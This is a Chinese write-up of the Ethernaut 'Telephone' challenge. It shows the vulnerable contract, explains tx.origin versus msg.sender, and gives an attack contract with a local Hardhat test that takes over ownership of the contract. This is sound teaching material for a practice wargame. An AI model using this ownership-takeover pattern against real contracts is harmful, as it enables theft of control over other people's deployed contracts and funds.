用Hardhat闯关Ethernaut题4 -telephone

117 阅读1分钟

Telephone合约

任务:获取合约的所有权,也就是改变owner

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {
    address public owner;

    constructor() public {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

这道题就是理解 tx.origin msg.sender的区别:ethereum.stackexchange.com/questions/1… 也就是说msg.sender不一定是个人地址,有可能是合约地址,tx.origin一定是个人地址,一般在写合约尽量不要使用tx.origin,会判断失误出现bug。

解题思路:1.创建攻击合约;2.用攻击合约去调用changeOwner,满足 tx.origin != msg.sender

攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Telephoneinterface {
    function changeOwner(address _owner) external;
}

contract AttackTelephone {
    Telephoneinterface telephone;
    address public owner;

    constructor(address _telephone) public {
        telephone = Telephoneinterface(_telephone);
        owner = msg.sender;
    }

    function attack() public {
        telephone.changeOwner(owner);
    }
}

测试脚本:

const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");

describe("test", function () {
    var Telephone;
    var AttackTelephone;
    it("init params", async function () {
        [deployer, ...users] = await ethers.getSigners();
    });
    it("deploy", async function () {
        const TelephoneInstance = await ethers.getContractFactory("Telephone");
        Telephone = await TelephoneInstance.deploy();
        const AttackTelephoneInstance = await ethers.getContractFactory("AttackTelephone");
        AttackTelephone = await AttackTelephoneInstance.connect(users[0]).deploy(Telephone.address);
    });
    it("hack test", async function () {
        expect(await Telephone.owner()).to.equal(deployer.address);
        await AttackTelephone.attack();
        expect(await Telephone.owner()).to.equal(users[0].address);
    });
});

运行结果:

image.png

Github:hardhat测试仓库